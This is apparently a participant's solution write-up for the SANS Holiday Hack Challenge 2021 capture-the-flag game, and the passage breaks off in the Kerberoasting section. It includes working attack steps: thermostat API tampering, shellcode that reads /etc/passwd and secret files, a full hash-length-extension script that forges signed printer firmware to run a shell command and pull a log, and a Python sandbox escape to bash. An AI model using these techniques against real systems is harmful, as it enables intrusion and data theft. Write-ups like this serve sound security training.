Introduction
Like every year, many thanks to SANS for this incredible event.
Following my solutions.
Objectives
1 - Kringle Orientation
Possible solution
Go to Jingle Ringford and click on him. Then get your badge and wifi adapter. Then click on the terminal and enter “answer”.
2 - Where in the world is Caramel Santiago
Possible solution
Depending on the question, take the next place from the information:
- What2words: 3 clearly salient keywords
- Google keywords: e.g. Wikipedia articles like “Vánoĉní trh” and then switch to English or just the letter Í
- MGRS: https://legallandconverter.com/p50.html
- GPS coordinates: https://www.gps-coordinates.net/
and filter the elves according to the information you get about each place.
3 - Thaw Frost Towers Entrance
Possible solution
-
iwconfig
determine the wifi interface
-
iwlist wlan0 scanning
get the essid and encryption
-
iwconfig wlan0 essid FROST-Nidus-Setup ap any
connect to access point
-
curl http://nidus-setup:8080
first contact with thermostat page
-
curl http://nidus-setup:8080/apidoc
look inside the apidoc
-
curl -X POST -H 'Content-Type: application/json' --data-binary '{"temperature": 40}' http://nidus-setup:8080/api/cooler
set the temperature to high so the door melts
4 - Slot Machine Investigation
Possible solution
Open Firefox network tab and edit an existing request to https://slots.jackfrosttower.com/api/v1/…/spin as data set:
betamount=10&numline=20&cpl=-0.9
important is the negative bet size here so you will always win more credits. The solution is after multiple times in the json answer in the “response” key.
5 - Strange USB Device
Possible solution
Use mallard.py in the following way:
./mallard.py -f /mnt/USBDEVICE/inject.bin
Take the base64 and decode the reverse it was encoded
echo '==...' | rev | base64 -d
The output shows a command setting a new connection from ickymcgoop@trollfun.jackfrosttower.com for ssh. So ickymcgoop is the solution you can enter in the terminal section above.
6 - Shellcode Primer
Possible solution
Level 1
; Set up some registers (sorta like variables) with values
; In the debugger, look how these change!
mov rax, 0
mov rbx, 1
mov rcx, 2
mov rdx, 3
mov rsi, 4
mov rdi, 5
mov rbp, 6
; Push and pop - watch how the stack changes!
push 0x12345678
pop rax
push 0x1111
push 0x2222
push 0x3333
pop rax
pop rax
pop rax
; This creates a string and references it in rax - watch the debugger!
call getstring
db "Hello World!",0
getstring:
pop rax
; Finally, return 0x1337
mov rax, 0x1337
ret
Level 2
; We want to loop 5 times - you can change this if you want!
mov rax, 5
; Top of the loop
top:
; Decrement rax
dec rax
; Jump back to the top until rax is zero
jnz top
; Cleanly return after the loop
ret
Level 3
; This is a comment! We'll use comments to help guide your journey.
; Right now, we just need to RETurn!
;
; Enter a return statement below and hit Execute to see what happens!
ret
Level 4
; TODO: Set rax to 1337
; Return, just like we did last time
mov rax,1337
ret
Level 5
; TODO: Find the syscall number for sys_exit and put it in rax
; TODO: Put the exit_code we want (99) in rdi
; Perform the actual syscall
mov rax,60
; ref https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
mov rdi,99
syscall
Level 6
; Push this value to the stack
push 0x12345678
; Try to return
ret
Level 7
; Remember, this call pushes the return address to the stack
call place_below_the_nop
; This is where the function *thinks* it is supposed to return
nop
; This is a 'label' - as far as the call knows, this is the start of a function
place_below_the_nop:
; TODO: Pop the top of the stack into rax
pop rax
; Return from our code, as in previous levels
ret
Level 8
; This would be a good place for a call
call label0
; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0
; This would be a good place for a label and a pop
label0:
pop rax
; This would be a good place for a re... oh wait, it's already here. Hooray!
ret
Level 9
; TODO: Get a reference to this string into the correct register
call getstring
db 'Hello World!',0
getstring:
pop rsi
; Set up a call to sys_write
; TODO: Set rax to the correct syscall number for sys_write
mov rax,1
; TODO: Set rdi to the first argument (the file descriptor, 1)
mov rdi,1
; TODO: Set rsi to the second argument (buf - this is the "Hello World" string)
; TODO: Set rdx to the third argument (length of the string, in bytes)
mov rdx,0xC
; Perform the syscall
syscall
; Return cleanly
ret
Level 10
; TODO: Get a reference to this string into the correct register
call getstring
db '/etc/passwd',0
getstring:
pop rdi
; Set up a call to sys_open
; TODO: Set rax to the correct syscall number
mov rax,2
; TODO: Set rdi to the first argument (the filename)
; see above
; TODO: Set rsi to the second argument (flags - 0 is fine)
mov rsi,0
; TODO: Set rdx to the third argument (mode - 0 is also fine)
mov rdx,0
; Perform the syscall
syscall
; syscall sets rax to the file handle, so to return the file handle we don't
; need to do anything else!
ret
Level 11
; TODO: Get a reference to this
call getstring
db '/var/northpolesecrets.txt',0
getstring:
pop rdi
; TODO: Call sys_open
mov rax,2
mov rsi,0
mov rdx,0
syscall
; TODO: Call sys_read on the file handle and read it into rsp
mov rdi, rax
mov rax,0
mov rsi,rsp
mov rdx,255
syscall
; TODO: Call sys_write to write the contents from rsp to stdout (1)
mov rdx,rax
mov rax,1
mov rdi,1
syscall
; TODO: Call sys_exit
mov rax,60
mov rdi,99
syscall
Level 11+
; TODO: Get a reference to this
call getstring
db '/var/northpolesecrets.txt',0
getstring:
pop rdi
; TODO: Call sys_open
mov rax,2
mov rsi,0
mov rdx,0
syscall
; TODO: Call sys_read on the file handle and read it into rsp
mov rdi, rax
mov rax,0
sub rsp,0x00000089
mov rsi,rsp
mov rdx,255
syscall
; TODO: Call sys_write to write the contents from rsp to stdout (1)
mov rdx,rax
mov rax,1
mov rdi,1
syscall
add rsp,0x00000089
ret
7 - Printer Exploitation
Download the current firmware as firmware-export.json from https://printer.kringlecastle.com/firmware/download
firmware-export.json:
{"firmware":"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","signature":"2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97","secret_length":16,"algorithm":"SHA256"}
Extract the base64 into a binary here:
echo -n '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'|base64 --decode > filetocheck
its a zip file:
file filetocheck
filetocheck: Zip archive data, at least v2.0 to extract
zipinfo filetocheck
Archive: filetocheck
Zip file size: 2584 bytes, number of entries: 1
-rwxr-xr-x 3.0 unx 16608 bx defN 21-Dec-16 21:42 firmware.bin
1 file, 16608 bytes uncompressed, 2410 bytes compressed: 85.5%
I created 4 folders:
exploit_code
exploit_run
hash_extender
unzip
from which hash_extender is generated using
git clone https://github.com/iagox86/hash_extender
Contents of the o ther folders:
unzip:
Here I unzipped the original zip file
unzip filetocheck
so it contains a firmware.bin
exploit_code:
In this folder the exploit code will be generated
exploit_run:
cat runpayload.sh
#! /bin/bash
cd ../unzip
echo "[Executing original binary]"
./firmware.bin
echo -e "\n[Creating new payload code]"
cd ../exploit_code/
rm firmware.bin 2> /dev/null
echo -e "#!/bin/bash\ncp /var/spool/printer.log /app/lib/public/incoming/secf00tprint.log" > firmware.bin
chmod 755 firmware.bin
rm firmware.zip 2> /dev/null
zip firmware.zip firmware.bin
echo -e "\n[Preparing new firmware-export.json]"
cd ../exploit_run
hashextender_out=$(../hash_extender/hash_extender --file ../unzip/firmware.zip --append "$(xxd -p ../exploit_code/firmware.zip | tr -d '\n')" --append-format=hex --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 -l 16 -f sha256)
raw_new_string_out=$(echo "$hashextender_out" | grep 'New string' | cut -d ' ' -f 3)
base64_new_out=$(echo -n "$raw_new_string_out" | xxd -p -r | base64 | tr -d '\n')
signature_new_out=$(echo "$hashextender_out" | grep "New signature" | cut -d " " -f 3)
echo -n '{"firmware":"'$base64_new_out'","signature":"'$signature_new_out'","secret_length":16,"algorithm":"SHA256"}' > firmware-export.json
jq '.' firmware-export.json
echo -e "\n[Running payload]"
curl -F 'file=@firmware-export.json' https://printer.kringlecastle.com/firmware
curl https://printer.kringlecastle.com/incoming/secf00tprint.log
Output:
./runpayload.sh
[Executing original binary]
Firmware is fully up to date!
[Creating new payload code]
adding: firmware.bin (deflated 13%)
[Preparing new firmware-export.json]
{
"firmware": "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",
"signature": "5d5a1bb63fcc5865406d9707683cf1193aeccce28824363a6e23e0e9e11aecd7",
"secret_length": 16,
"algorithm": "SHA256"
}
[Running payload]
<html>
<head>
<meta http-equiv="Content-type" content="text/html; charset=UTF-8">
<title>Firmware Update</title>
<link rel="stylesheet" href="/css/style.css" type="text/css">
</head>
<body>
<h3>Upload your new firmware</h3>
<p>Note: Firmware must be uploaded as a signed firmware blob.</p>
<div>
<form method="post" enctype="multipart/form-data">
<p>Firmware <input type="file" name="file" id="file"/></p>
<hr size=2 align=left width="75%" noshade>
<p><input type="submit" value="Update!"></p>
<br/>
</form>
<p><a href='/firmware/download'><b>Download current firmware</b></a></p>
<p style="color: green; font-weight: bold">Firmware successfully uploaded and validated! Executing the update package in the background</p>
</div>
</body>
</html>
Documents queued for printing
=============================
Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx
So the solution is:
Troll_Pay_Chart.xlsx
8 - Kerberoasting on an open fire
For this challenge I recommend to use Kali or at least a linux based system where you install the needed tools (cewl, bloodhound, ssh-client).
Registration
First open https://register.elfu.org/ in the browser. Enter stuff until the lines below “First Name”, “Last Name” and “Email” turn from black to green.
Answer the questions that you are not a robot.
And finally click at “submit”.
You get information on how to login like:
So let’s do it:
ssh euisvijnqm@grades.elfu.org -p 2222
and enter the given password.
Exit Students Grade Terminal
To exit type: Ctrl+D
: Traceback (most recent call last):
File "/opt/grading_system", line 41, in <module>
main()
File "/opt/grading_system", line 26, in main
a = input(": ").lower().strip()
EOFError
To get the shell enter
os.system('/bin/bash');
There is a hint from Eve Snowshoes
So we look at the routes:
ip route
default via 172.17.0.1 dev eth0
10.128.1.0/24 via 172.17.0.1 dev eth0
10.128.2.0/24 via 172.17.0.1 dev eth0
